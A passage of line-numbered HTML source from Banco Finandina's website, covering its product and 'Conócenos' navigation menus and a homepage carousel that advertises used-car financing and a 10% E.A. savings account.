href="https://www.bancofinandina.com/productos/credito-vehiculo" role="menuitem" target="_self" class="sublink"> 3695 <div class="submenu-icon"> 3696 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Union.png?width=29&height=16&name=Union.png" alt="Union" width="29" height="16" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Union.png?width=15&height=8&name=Union.png 15w, https://www.bancofinandina.com/hs-fs/hubfs/Union.png?width=29&height=16&name=Union.png 29w, https://www.bancofinandina.com/hs-fs/hubfs/Union.png?width=44&height=24&name=Union.png 44w, https://www.bancofinandina.com/hs-fs/hubfs/Union.png?width=58&height=32&name=Union.png 58w, https://www.bancofinandina.com/hs-fs/hubfs/Union.png?width=73&height=40&name=Union.png 73w, https://www.bancofinandina.com/hs-fs/hubfs/Union.png?width=87&height=48&name=Union.png 87w" sizes="(max-width: 29px) 100vw, 29px"> 3697 </div> 3698 Crédito de vehÃculo 3699 <svg width="6" height="11" viewbox="0 0 6 11" fill="none" xmlns="http://www.w3.org/2000/svg"> 3700 <path fill-rule="evenodd" clip-rule="evenodd" d="M0.13414 0.133018C0.312993 -0.0443394 0.602971 -0.0443394 0.781824 0.133018L4.76321 4.08112C5.41226 4.72474 5.41226 5.77526 4.76321 6.41888L0.781824 10.367C0.602971 10.5443 0.312993 10.5443 0.13414 10.367C-0.0447133 10.1896 -0.0447133 9.90207 0.13414 9.72471L4.11553 5.77662C4.40687 5.48771 4.40687 5.01229 4.11553 4.72338L0.13414 0.775286C-0.0447133 0.597929 -0.0447133 0.310376 0.13414 0.133018Z" fill="#555555" /> 3701 </svg> 3702 </a> 3703 </li> 3704 3705 <li class="hs-menu-item hs-menu-depth-2" role="none"> 3706 <a href="https://www.bancofinandina.com/productos/tarjetas-credito" role="menuitem" target="_self" class="sublink"> 3707 <div class="submenu-icon"> 3708 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Group%20(2).png?width=23&height=15&name=Group%20(2).png" alt="Group (2)" width="23" height="15" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Group%20(2).png?width=12&height=8&name=Group%20(2).png 12w, https://www.bancofinandina.com/hs-fs/hubfs/Group%20(2).png?width=23&height=15&name=Group%20(2).png 23w, https://www.bancofinandina.com/hs-fs/hubfs/Group%20(2).png?width=35&height=23&name=Group%20(2).png 35w, https://www.bancofinandina.com/hs-fs/hubfs/Group%20(2).png?width=46&height=30&name=Group%20(2).png 46w, https://www.bancofinandina.com/hs-fs/hubfs/Group%20(2).png?width=58&height=38&name=Group%20(2).png 58w, https://www.bancofinandina.com/hs-fs/hubfs/Group%20(2).png?width=69&height=45&name=Group%20(2).png 69w" sizes="(max-width: 23px) 100vw, 23px"> 3709 </div> 3710 Tarjetas de crédito 3711 <svg width="6" height="11" viewbox="0 0 6 11" fill="none" xmlns="http://www.w3.org/2000/svg"> 3712 <path fill-rule="evenodd" clip-rule="evenodd" d="M0.13414 0.133018C0.312993 -0.0443394 0.602971 -0.0443394 0.781824 0.133018L4.76321 4.08112C5.41226 4.72474 5.41226 5.77526 4.76321 6.41888L0.781824 10.367C0.602971 10.5443 0.312993 10.5443 0.13414 10.367C-0.0447133 10.1896 -0.0447133 9.90207 0.13414 9.72471L4.11553 5.77662C4.40687 5.48771 4.40687 5.01229 4.11553 4.72338L0.13414 0.775286C-0.0447133 0.597929 -0.0447133 0.310376 0.13414 0.133018Z" fill="#555555" /> 3713 </svg> 3714 </a> 3715 </li> 3716 3717 <li class="hs-menu-item hs-menu-depth-2" role="none"> 3718 <a href="https://www.bancofinandina.com/productos/cuentas-de-ahorro" role="menuitem" target="_self" class="sublink"> 3719 <div class="submenu-icon"> 3720 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Group%2034649.png?width=18&height=25&name=Group%2034649.png" alt="Group 34649" width="18" height="25" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Group%2034649.png?width=9&height=13&name=Group%2034649.png 9w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034649.png?width=18&height=25&name=Group%2034649.png 18w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034649.png?width=27&height=38&name=Group%2034649.png 27w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034649.png?width=36&height=50&name=Group%2034649.png 36w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034649.png?width=45&height=63&name=Group%2034649.png 45w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034649.png?width=54&height=75&name=Group%2034649.png 54w" sizes="(max-width: 18px) 100vw, 18px"> 3721 </div> 3722 Cuentas de ahorro 3723 <svg width="6" height="11" viewbox="0 0 6 11" fill="none" xmlns="http://www.w3.org/2000/svg"> 3724 <path fill-rule="evenodd" clip-rule="evenodd" d="M0.13414 0.133018C0.312993 -0.0443394 0.602971 -0.0443394 0.781824 0.133018L4.76321 4.08112C5.41226 4.72474 5.41226 5.77526 4.76321 6.41888L0.781824 10.367C0.602971 10.5443 0.312993 10.5443 0.13414 10.367C-0.0447133 10.1896 -0.0447133 9.90207 0.13414 9.72471L4.11553 5.77662C4.40687 5.48771 4.40687 5.01229 4.11553 4.72338L0.13414 0.775286C-0.0447133 0.597929 -0.0447133 0.310376 0.13414 0.133018Z" fill="#555555" /> 3725 </svg> 3726 </a> 3727 </li> 3728 3729 <li class="hs-menu-item hs-menu-depth-2" role="none"> 3730 <a href="https://www.bancofinandina.com/productos/cdts" role="menuitem" target="_self" class="sublink"> 3731 <div class="submenu-icon"> 3732 <img src="https://www.bancofinandina.com/hubfs/cdt.svg" alt="cdt" width="24" height="22"> 3733 </div> 3734 CDT 3735 <svg width="6" height="11" viewbox="0 0 6 11" fill="none" xmlns="http://www.w3.org/2000/svg"> 3736 <path fill-rule="evenodd" clip-rule="evenodd" d="M0.13414 0.133018C0.312993 -0.0443394 0.602971 -0.0443394 0.781824 0.133018L4.76321 4.08112C5.41226 4.72474 5.41226 5.77526 4.76321 6.41888L0.781824 10.367C0.602971 10.5443 0.312993 10.5443 0.13414 10.367C-0.0447133 10.1896 -0.0447133 9.90207 0.13414 9.72471L4.11553 5.77662C4.40687 5.48771 4.40687 5.01229 4.11553 4.72338L0.13414 0.775286C-0.0447133 0.597929 -0.0447133 0.310376 0.13414 0.133018Z" fill="#555555" /> 3737 </svg> 3738 </a> 3739 </li> 3740 3741 <li class="hs-menu-item hs-menu-depth-2" role="none"> 3742 <a href="https://www.bancofinandina.com/productos/creditos/libranza" role="menuitem" target="_self" class="sublink"> 3743 <div class="submenu-icon"> 3744 <img src="https://www.bancofinandina.com/hubfs/ico-libranza.svg" alt="ico-libranza" width="23" height="15"> 3745 </div> 3746 Libranza 3747 <svg width="6" height="11" viewbox="0 0 6 11" fill="none" xmlns="http://www.w3.org/2000/svg"> 3748 <path fill-rule="evenodd" clip-rule="evenodd" d="M0.13414 0.133018C0.312993 -0.0443394 0.602971 -0.0443394 0.781824 0.133018L4.76321 4.08112C5.41226 4.72474 5.41226 5.77526 4.76321 6.41888L0.781824 10.367C0.602971 10.5443 0.312993 10.5443 0.13414 10.367C-0.0447133 10.1896 -0.0447133 9.90207 0.13414 9.72471L4.11553 5.77662C4.40687 5.48771 4.40687 5.01229 4.11553 4.72338L0.13414 0.775286C-0.0447133 0.597929 -0.0447133 0.310376 0.13414 0.133018Z" fill="#555555" /> 3749 </svg> 3750 </a> 3751 </li> 3752 3753 <li class="hs-menu-item hs-menu-depth-2" role="none"> 3754 <a href="https://www.bancofinandina.com/productos/creditos/credito-libre-inversion" role="menuitem" target="_self" class="sublink"> 3755 <div class="submenu-icon"> 3756 <img src="https://www.bancofinandina.com/hs-fs/hubfs/libre-inversion.png?width=23&height=24&name=libre-inversion.png" alt="libre-inversion" width="23" height="24" srcset="https://www.bancofinandina.com/hs-fs/hubfs/libre-inversion.png?width=12&height=12&name=libre-inversion.png 12w, https://www.bancofinandina.com/hs-fs/hubfs/libre-inversion.png?width=23&height=24&name=libre-inversion.png 23w, https://www.bancofinandina.com/hs-fs/hubfs/libre-inversion.png?width=35&height=36&name=libre-inversion.png 35w, https://www.bancofinandina.com/hs-fs/hubfs/libre-inversion.png?width=46&height=48&name=libre-inversion.png 46w, https://www.bancofinandina.com/hs-fs/hubfs/libre-inversion.png?width=58&height=60&name=libre-inversion.png 58w, https://www.bancofinandina.com/hs-fs/hubfs/libre-inversion.png?width=69&height=72&name=libre-inversion.png 69w" sizes="(max-width: 23px) 100vw, 23px"> 3757 </div> 3758 Crédito de libre inversión 3759 <svg width="6" height="11" viewbox="0 0 6 11" fill="none" xmlns="http://www.w3.org/2000/svg"> 3760 <path fill-rule="evenodd" clip-rule="evenodd" d="M0.13414 0.133018C0.312993 -0.0443394 0.602971 -0.0443394 0.781824 0.133018L4.76321 4.08112C5.41226 4.72474 5.41226 5.77526 4.76321 6.41888L0.781824 10.367C0.602971 10.5443 0.312993 10.5443 0.13414 10.367C-0.0447133 10.1896 -0.0447133 9.90207 0.13414 9.72471L4.11553 5.77662C4.40687 5.48771 4.40687 5.01229 4.11553 4.72338L0.13414 0.775286C-0.0447133 0.597929 -0.0447133 0.310376 0.13414 0.133018Z" fill="#555555" /> 3761 </svg> 3762 </a> 3763 </li> 3764 3765 <li class="hs-menu-item hs-menu-depth-2" role="none"> 3766 <a href="https://www.bancofinandina.com/productos" role="menuitem" target="_self" class="sublink"> 3767 <div class="submenu-icon"> 3768 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Group%2034720.png?width=20&height=20&name=Group%2034720.png" alt="Group 34720" width="20" height="20" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Group%2034720.png?width=10&height=10&name=Group%2034720.png 10w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034720.png?width=20&height=20&name=Group%2034720.png 20w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034720.png?width=30&height=30&name=Group%2034720.png 30w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034720.png?width=40&height=40&name=Group%2034720.png 40w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034720.png?width=50&height=50&name=Group%2034720.png 50w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034720.png?width=60&height=60&
3768name=Group%2034720.png 60w" sizes="(max-width: 20px) 100vw, 20px"> 3769 </div> 3770 Ver más productos 3771 <svg width="6" height="11" viewbox="0 0 6 11" fill="none" xmlns="http://www.w3.org/2000/svg"> 3772 <path fill-rule="evenodd" clip-rule="evenodd" d="M0.13414 0.133018C0.312993 -0.0443394 0.602971 -0.0443394 0.781824 0.133018L4.76321 4.08112C5.41226 4.72474 5.41226 5.77526 4.76321 6.41888L0.781824 10.367C0.602971 10.5443 0.312993 10.5443 0.13414 10.367C-0.0447133 10.1896 -0.0447133 9.90207 0.13414 9.72471L4.11553 5.77662C4.40687 5.48771 4.40687 5.01229 4.11553 4.72338L0.13414 0.775286C-0.0447133 0.597929 -0.0447133 0.310376 0.13414 0.133018Z" fill="#555555" /> 3773 </svg> 3774 </a> 3775 </li> 3776 3777 </ul> 3778 </details> 3779 3780 </li> 3781 3782 <li class="hs-menu-item hs-menu-depth-1" role="none"> 3783 3784 <details role="menuitem" target="_self" aria-haspopup="true" aria-expanded="false"> 3785 <summary> 3786 Conócenos 3787 <svg xmlns="http://www.w3.org/2000/svg" width="12" height="6" viewbox="0 0 12 6" fill="none"> 3788 <path fill-rule="evenodd" clip-rule="evenodd" d="M0.142519 0.143721C0.332545 -0.0479071 0.640638 -0.0479071 0.830664 0.143721L5.06077 4.4095C5.37031 4.72165 5.87969 4.72165 6.18923 4.4095L10.4193 0.143721C10.6094 -0.0479071 10.9175 -0.0479071 11.1075 0.143721C11.2975 0.33535 11.2975 0.64604 11.1075 0.837669L6.87738 5.10344C6.18778 5.79885 5.06222 5.79885 4.37262 5.10344L0.142519 0.837669C-0.0475065 0.64604 -0.0475065 0.33535 0.142519 0.143721Z" fill="#E31952"></path> 3789 </svg> 3790 </summary> 3791 <ul role="menu" class="hs-menu-children-wrapper"> 3792 3793 <li class="hs-menu-item hs-menu-depth-2" role="none"> 3794 <a href="https://www.bancofinandina.com/banco-digital-bic" role="menuitem" target="_self" class="sublink"> 3795 <div class="submenu-icon"> 3796 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Sociedad%20BIC-1.png?width=21&height=21&name=Sociedad%20BIC-1.png" alt="Sociedad BIC-1" width="21" height="21" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Sociedad%20BIC-1.png?width=11&height=11&name=Sociedad%20BIC-1.png 11w, https://www.bancofinandina.com/hs-fs/hubfs/Sociedad%20BIC-1.png?width=21&height=21&name=Sociedad%20BIC-1.png 21w, https://www.bancofinandina.com/hs-fs/hubfs/Sociedad%20BIC-1.png?width=32&height=32&name=Sociedad%20BIC-1.png 32w, https://www.bancofinandina.com/hs-fs/hubfs/Sociedad%20BIC-1.png?width=42&height=42&name=Sociedad%20BIC-1.png 42w, https://www.bancofinandina.com/hs-fs/hubfs/Sociedad%20BIC-1.png?width=53&height=53&name=Sociedad%20BIC-1.png 53w, https://www.bancofinandina.com/hs-fs/hubfs/Sociedad%20BIC-1.png?width=63&height=63&name=Sociedad%20BIC-1.png 63w" sizes="(max-width: 21px) 100vw, 21px"> 3797 </div> 3798 Banco Digital BIC 3799 <svg width="6" height="11" viewbox="0 0 6 11" fill="none" xmlns="http://www.w3.org/2000/svg"> 3800 <path fill-rule="evenodd" clip-rule="evenodd" d="M0.13414 0.133018C0.312993 -0.0443394 0.602971 -0.0443394 0.781824 0.133018L4.76321 4.08112C5.41226 4.72474 5.41226 5.77526 4.76321 6.41888L0.781824 10.367C0.602971 10.5443 0.312993 10.5443 0.13414 10.367C-0.0447133 10.1896 -0.0447133 9.90207 0.13414 9.72471L4.11553 5.77662C4.40687 5.48771 4.40687 5.01229 4.11553 4.72338L0.13414 0.775286C-0.0447133 0.597929 -0.0447133 0.310376 0.13414 0.133018Z" fill="#555555" /> 3801 </svg> 3802 </a> 3803 </li> 3804 3805 <li class="hs-menu-item hs-menu-depth-2" role="none"> 3806 <a href="https://www.bancofinandina.com/banco-digital-bic/sostenible-y-socialmente-responsable" role="menuitem" target="_self" class="sublink"> 3807 <div class="submenu-icon"> 3808 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Vector%20(3).png?width=18&height=19&name=Vector%20(3).png" alt="Vector (3)" width="18" height="19" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Vector%20(3).png?width=9&height=10&name=Vector%20(3).png 9w, https://www.bancofinandina.com/hs-fs/hubfs/Vector%20(3).png?width=18&height=19&name=Vector%20(3).png 18w, https://www.bancofinandina.com/hs-fs/hubfs/Vector%20(3).png?width=27&height=29&name=Vector%20(3).png 27w, https://www.bancofinandina.com/hs-fs/hubfs/Vector%20(3).png?width=36&height=38&name=Vector%20(3).png 36w, https://www.bancofinandina.com/hs-fs/hubfs/Vector%20(3).png?width=45&height=48&name=Vector%20(3).png 45w, https://www.bancofinandina.com/hs-fs/hubfs/Vector%20(3).png?width=54&height=57&name=Vector%20(3).png 54w" sizes="(max-width: 18px) 100vw, 18px"> 3809 </div> 3810 Sostenibilidad 3811 <svg width="6" height="11" viewbox="0 0 6 11" fill="none" xmlns="http://www.w3.org/2000/svg"> 3812 <path fill-rule="evenodd" clip-rule="evenodd" d="M0.13414 0.133018C0.312993 -0.0443394 0.602971 -0.0443394 0.781824 0.133018L4.76321 4.08112C5.41226 4.72474 5.41226 5.77526 4.76321 6.41888L0.781824 10.367C0.602971 10.5443 0.312993 10.5443 0.13414 10.367C-0.0447133 10.1896 -0.0447133 9.90207 0.13414 9.72471L4.11553 5.77662C4.40687 5.48771 4.40687 5.01229 4.11553 4.72338L0.13414 0.775286C-0.0447133 0.597929 -0.0447133 0.310376 0.13414 0.133018Z" fill="#555555" /> 3813 </svg> 3814 </a> 3815 </li> 3816 3817 <li class="hs-menu-item hs-menu-depth-2" role="none"> 3818 <a href="https://www.bancofinandina.com/inversionistas" role="menuitem" target="_self" class="sublink"> 3819 <div class="submenu-icon"> 3820 <img src="https://www.bancofinandina.com/hubfs/inversionistas-icon.svg" alt="inversionistas-icon" width="14" height="21"> 3821 </div> 3822 Inversionistas 3823 <svg width="6" height="11" viewbox="0 0 6 11" fill="none" xmlns="http://www.w3.org/2000/svg"> 3824 <path fill-rule="evenodd" clip-rule="evenodd" d="M0.13414 0.133018C0.312993 -0.0443394 0.602971 -0.0443394 0.781824 0.133018L4.76321 4.08112C5.41226 4.72474 5.41226 5.77526 4.76321 6.41888L0.781824 10.367C0.602971 10.5443 0.312993 10.5443 0.13414 10.367C-0.0447133 10.1896 -0.0447133 9.90207 0.13414 9.72471L4.11553 5.77662C4.40687 5.48771 4.40687 5.01229 4.11553 4.72338L0.13414 0.775286C-0.0447133 0.597929 -0.0447133 0.310376 0.13414 0.133018Z" fill="#555555" /> 3825 </svg> 3826 </a> 3827 </li> 3828 3829 <li class="hs-menu-item hs-menu-depth-2" role="none"> 3830 <a href="https://www.bancofinandina.com/finanblog" role="menuitem" target="_self" class="sublink"> 3831 <div class="submenu-icon"> 3832 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Vector%20(4).png?width=22&height=23&name=Vector%20(4).png" alt="Vector (4)" width="22" height="23" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Vector%20(4).png?width=11&height=12&name=Vector%20(4).png 11w, https://www.bancofinandina.com/hs-fs/hubfs/Vector%20(4).png?width=22&height=23&name=Vector%20(4).png 22w, https://www.bancofinandina.com/hs-fs/hubfs/Vector%20(4).png?width=33&height=35&name=Vector%20(4).png 33w, https://www.bancofinandina.com/hs-fs/hubfs/Vector%20(4).png?width=44&height=46&name=Vector%20(4).png 44w, https://www.bancofinandina.com/hs-fs/hubfs/Vector%20(4).png?width=55&height=58&name=Vector%20(4).png 55w, https://www.bancofinandina.com/hs-fs/hubfs/Vector%20(4).png?width=66&height=69&name=Vector%20(4).png 66w" sizes="(max-width: 22px) 100vw, 22px"> 3833 </div> 3834 Noticias 3835 <svg width="6" height="11" viewbox="0 0 6 11" fill="none" xmlns="http://www.w3.org/2000/svg"> 3836 <path fill-rule="evenodd" clip-rule="evenodd" d="M0.13414 0.133018C0.312993 -0.0443394 0.602971 -0.0443394 0.781824 0.133018L4.76321 4.08112C5.41226 4.72474 5.41226 5.77526 4.76321 6.41888L0.781824 10.367C0.602971 10.5443 0.312993 10.5443 0.13414 10.367C-0.0447133 10.1896 -0.0447133 9.90207 0.13414 9.72471L4.11553 5.77662C4.40687 5.48771 4.40687 5.01229 4.11553 4.72338L0.13414 0.775286C-0.0447133 0.597929 -0.0447133 0.310376 0.13414 0.133018Z" fill="#555555" /> 3837 </svg> 3838 </a> 3839 </li> 3840 3841 </ul> 3842 </details> 3843 3844 </li> 3845 3846 <li class="hs-menu-item hs-menu-depth-1" role="none"> 3847 3848 <a href="https://www.bancofinandina.com/servicio-al-cliente" role="menuitem" target="_self">Servicio al cliente</a> 3849 3850 </li> 3851 3852 </ul> 3853 </div> 3854 <div class="downmovmen"> 3855 <a class="btn-primary " href="/productos/cuentas-de-ahorro/abrir-cuenta-de-ahorros?Origen=BotonHeader">Abrir cuenta</a> 3856 <a class="btn-primary active" href="https://transacciones.bancofinandina.com/BP/login?_gl=1*bpv1ec*_gcl_au*MTQ5NzYzODMxNC4xNzY5MDkzNDM4*_ga*MTAxNzc2Njg5LjE3NjkwOTM0Mzg.*_ga_5YT7RHYRFB*czE3NzIwNDk0MjckbzE4JGcxJHQxNzcyMDUwODIxJGo1OCRsMCRoMA..">Acceso cliente</a> 3857 </div> 3858</div> 3859 3860 3861 3862 3863</div> 3864 3865</div><!--end widget-span --> 3866</div><!--end row--> 3867</div><!--end row-wrapper --> 3868 3869</div><!--end widget-span --> 3870</div> 3871</div> 3872</div> 3873</header> 3874<!-- End partial --></div> 3875 3876 3877 <main> 3878 3879 <div class="container-fluid"> 3880<div class="row-fluid-wrapper"> 3881<div class="row-fluid"> 3882<div class="span12 widget-span widget-type-cell " style="" data-widget-type="cell" data-x="0" data-w="12"> 3883 3884<div class="row-fluid-wrapper row-depth-1 row-number-1 dnd-section"> 3885<div class="row-fluid "> 3886<div class="span12 widget-span widget-type-cell dnd-column" style="" data-widget-type="cell" data-x="0" data-w="12"> 3887 3888<div class="row-fluid-wrapper row-depth-1 row-number-2 dnd-row"> 3889<div class="row-fluid "> 3890<div class="span12 widget-span widget-type-custom_widget dnd-module" style="" data-widget-type="custom_widget" data-x="0" data-w="12"> 3891<div id="hs_cos_wrapper_widget_1784132882398" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_module" style="" data-hs-cos-general-type="widget" data-hs-cos-type="module"> 3892 3893<section class="fnd-hs-root" data-autoplay="true" data-interval="6" aria-roledescription="carrusel" role="region" aria-label="Banner principal"> 3894 <div class="fnd-hs-viewport"> 3895 <div class="fnd-hs-track"> 3896 3897
3898 <div class="fnd-hs-slide fnd-hs-slide-carro"> 3899 <div class="fnd-hs-b-left"> 3900 <h2 class="fnd-hs-b-title">Renueva tu carro<br>¡En modo fácil!</h2> 3901 <p class="fnd-hs-b-subtitle"> 3902 <span class="fnd-hs-b-pink"></span></p><h1>Financiación del 100%</h1> 3903 <span>para tu carro usado</span> 3904 <p></p> 3905 3906 <ul class="fnd-hs-b-bullets"> 3907 3908 <li class="fnd-hs-b-bullet"><span class="fnd-hs-b-dot"></span><span>Sin cuota inicial</span></li> 3909 3910 3911 <li class="fnd-hs-b-bullet"><span class="fnd-hs-b-dot"></span><span>Cuotas bajas</span></li> 3912 3913 </ul> 3914 3915 <a href="https://solicituddigital.bancofinandina.com/formulario-de-venta/credito-de-vehiculo/formulario-de-solicitud?tipoProducto=CreditoVehiculo&origen=BSliderPrincipalHomeVehiculo" class="fnd-hs-b-btn"> 3916 <span>Solicitar</span> 3917 <span class="fnd-hs-b-btn-icon"> 3918 <svg width="20" height="20" viewbox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true"> 3919 <g> 3920 <rect x="0.5" y="0.5" width="19" height="19" rx="9.5" fill="white" fill-opacity="0.38" /> 3921 <rect x="0.5" y="0.5" width="19" height="19" rx="9.5" stroke="#FDFDFD" /> 3922 <path fill-rule="evenodd" clip-rule="evenodd" d="M11.5403 4.55618C11.7778 4.31461 12.1628 4.31461 12.4003 4.55618L17.3219 9.56259C17.4359 9.6786 17.5 9.83594 17.5 10C17.5 10.1641 17.4359 10.3214 17.3219 10.4374L12.4003 15.4438C12.1628 15.6854 11.7778 15.6854 11.5403 15.4438C11.3028 15.2022 11.3028 14.8106 11.5403 14.569L16.0319 10L11.5403 5.43099C11.3028 5.18942 11.3028 4.79775 11.5403 4.55618Z" fill="#FDFDFD" /> 3923 <path fill-rule="evenodd" clip-rule="evenodd" d="M2.5 10C2.5 9.65837 2.77226 9.38142 3.10811 9.38142H16.7541C17.0899 9.38142 17.3622 9.65837 17.3622 10C17.3622 10.3416 17.0899 10.6186 16.7541 10.6186H3.10811C2.77226 10.6186 2.5 10.3416 2.5 10Z" fill="#FDFDFD" /> 3924 </g> 3925 </svg> 3926 </span> 3927 </a> 3928 </div> 3929 3930 <div class="fnd-hs-b-right"> 3931 3932 <img src="https://www.bancofinandina.com/hs-fs/hubfs/raw_assets/public/Finandina%202025/img/card-vene.png?width=600&height=337&name=card-vene.png" alt="Carro Finandina" class="fnd-hs-b-car" width="600" height="337" loading="eager" fetchpriority="high" srcset="https://www.bancofinandina.com/hs-fs/hubfs/raw_assets/public/Finandina%202025/img/card-vene.png?width=300&height=169&name=card-vene.png 300w, https://www.bancofinandina.com/hs-fs/hubfs/raw_assets/public/Finandina%202025/img/card-vene.png?width=600&height=337&name=card-vene.png 600w, https://www.bancofinandina.com/hs-fs/hubfs/raw_assets/public/Finandina%202025/img/card-vene.png?width=900&height=506&name=card-vene.png 900w, https://www.bancofinandina.com/hs-fs/hubfs/raw_assets/public/Finandina%202025/img/card-vene.png?width=1200&height=674&name=card-vene.png 1200w, https://www.bancofinandina.com/hs-fs/hubfs/raw_assets/public/Finandina%202025/img/card-vene.png?width=1500&height=843&name=card-vene.png 1500w, https://www.bancofinandina.com/hs-fs/hubfs/raw_assets/public/Finandina%202025/img/card-vene.png?width=1800&height=1011&name=card-vene.png 1800w" sizes="(max-width: 600px) 100vw, 600px"> 3933 3934 </div> 3935 </div> 3936 3937 3938 <div class="fnd-hs-slide fnd-hs-slide-hero"> 3939 <div class="fnd-hs-h-left"> 3940 <p class="fnd-hs-h-sub"></p><h2>Con tu cuenta de ahorro de alto rendimiento FlexiDigital+</h2><p></p> 3941 <h2 class="fnd-hs-h-title">Gana el 10% E.A. por tus ahorros</h2> 3942 <a class="fnd-hs-h-cta" href="https://solicituddigital.bancofinandina.com:8097/abrir-cuenta-de-ahorro-flexidigital-plus?Origen=BSliderPrincipalHomeCuentaAhorro"> 3943 Abrir mi cuenta ahora 3944 <svg width="20" height="20" viewbox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true"> 3945 <rect x="0.5" y="0.5" width="19" height="19" rx="9.5" fill="white" fill-opacity="0.38" /> 3946 <rect x="0.5" y="0.5" width="19" height="19" rx="9.5" stroke="#FDFDFD" /> 3947 <path d="M3 10 H16 M11.5 5 L17 10 L11.5 15" stroke="#FDFDFD" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" fill="none" /> 3948 </svg> 3949 </a> 3950 </div> 3951 3952 <div class="fnd-hs-h-right"> 3953 <div class="fnd-hs-sh"> 3954 <div class="bre-b-wrapper"> 3955 <div class="card-layer card-left"> 3956 <img src="https://www.bancofinandina.com/hubfs/tarjeta-izquierda.svg" alt="Slide 2 â Tarjeta izquierda" width="210" height="280" loading="lazy"> 3957 </div> 3958 <div class="card-layer card-right"> 3959 <img src="https://www.bancofinandina.com/hubfs/tarjeta-derecha.svg" alt="Slide 2 â Tarjeta derecha" width="210" height="280" loading="lazy"> 3960 </div> 3961 3962 <div class="phone-container"> 3963 <svg class="phone-bg" viewbox="0 0 207 410" fill="none" aria-hidden="true"> 3964 <path d="M206.5 18.3V391.2C206.5 401.3 198.3 409.5 188.2 409.5H18.7C8.6 409.5 0.4 401.3 0.4 391.2V18.3C0.4 8.1 8.6 0 18.7 0L188.2 0C198.3 0 206.5 8.1 206.5 18.3Z" fill="#F1EBF9" /> 3965 <path d="M0 18.4C0 8.2 8.2 0 18.4 0L188.5 0C198.7 0 207 8.2 207 18.4V25L0 25V18.4Z" fill="url(#fndhs_p0)" /> 3966 <rect x="83" y="10" width="41" height="7" rx="3.5" fill="#522A7F" /> 3967 <path d="M0.4 391.4C0.4 401.6 8.7 409.8 18.9 409.8H188.1C198.3 409.8 206.5 401.6 206.5 391.4V362.5H0.4L0.4 391.4Z" fill="url(#fndhs_p1)" /> 3968 <rect x="30.3" y="44.8" width="147.6" height="87" rx="10.5" fill="url(#fndhs_p2)" /> 3969 <circle cx="40" cy="387" r="10" fill="white" /><circle cx="82" cy="387" r="10" fill="white" /><circle cx="124" cy="387" r="10" fill="white" /><circle cx="166" cy="387" r="10" fill="white" /> 3970 <defs> 3971 <lineargradient id="fndhs_p0" x1="103" y1="25" x2="103" y2="0" gradientunits="userSpaceOnUse"><stop stop-color="#7835C3" /><stop offset="1" stop-color="#E31952" /></lineargradient> 3972 <lineargradient id="fndhs_p1" x1="103" y1="362" x2="103" y2="410" gradientunits="userSpaceOnUse"><stop stop-color="#7835C3" /><stop offset="1" stop-color="#E31952" /></lineargradient> 3973 <lineargradient id="fndhs_p2" x1="33" y1="44" x2="161" y2="135" gradientunits="userSpaceOnUse"><stop offset="0" stop-color="#522A7F" /><stop offset="1" stop-color="#0B4462" /></lineargradient> 3974 </defs> 3975 </svg> 3976 3977 <div class="screen-content"> 3978 <div class="header-container"> 3979 <div class="purple-dot-decor"></div> 3980 <div class="rate-tag">10.00% E.A.</div>
3981 <span class="amount-txt fnd-hs-amount">$ 12.643.113</span> 3982 </div> 3983 3984 <div class="chart-area fnd-hs-chart"> 3985 <svg width="100%" height="100%" viewbox="0 0 127 50" preserveaspectratio="none"> 3986 <defs> 3987 <lineargradient id="fndhsChartGrad" x1="0" x2="0" y1="0" y2="1"> 3988 <stop offset="0%" stop-color="#BB9AE1" stop-opacity="0.6" /> 3989 <stop offset="100%" stop-color="#BB9AE1" stop-opacity="0" /> 3990 </lineargradient> 3991 </defs> 3992 <g stroke="#BABABA" stroke-opacity="1" stroke-width="0.4"> 3993 <line x1="0" y1="0" x2="127" y2="0" /> 3994 <line x1="0" y1="20" x2="127" y2="20" /> 3995 <line x1="0" y1="40" x2="127" y2="40" /> 3996 </g> 3997 <path d="M0.5 37L9.5 30.3L28 37.5L46.5 19H69L95.5 10L110 18.9L126 0.5 V 50 H 0 Z" fill="url(#fndhsChartGrad)" stroke="none" /> 3998 <path class="fnd-hs-graphline" d="M0.5 37L9.5 30.3L28 37.5L46.5 19H69L95.5 10L110 18.9L126 0.5" stroke="#BB9AE1" stroke-width="2" stroke-linecap="round" fill="none" /> 3999 <g class="fnd-hs-cursor"> 4000 <circle cx="0" cy="0" r="6" fill="#522A7F" opacity="0.3" /> 4001 <circle cx="0" cy="0" r="3.5" fill="#522A7F" stroke="white" stroke-width="1.5" /> 4002 <g transform="translate(0, -14)"> 4003 <rect x="-17.5" y="-5" width="35" height="10" rx="5" class="tooltip-rect" /> 4004 <text x="0" y="0" dy="3" class="tooltip-txt fnd-hs-tooltipval">0</text> 4005 </g> 4006 </g> 4007 </svg> 4008 </div> 4009 4010 <div class="stats-row"> 4011 <div class="stat"><p class="stat-label">Rentabilidad</p><p>10.00% E.A.</p></div> 4012 <div class="stat right"><p class="stat-label">Ahorro</p><p class="fnd-hs-savings">$ 643.113</p></div> 4013 </div> 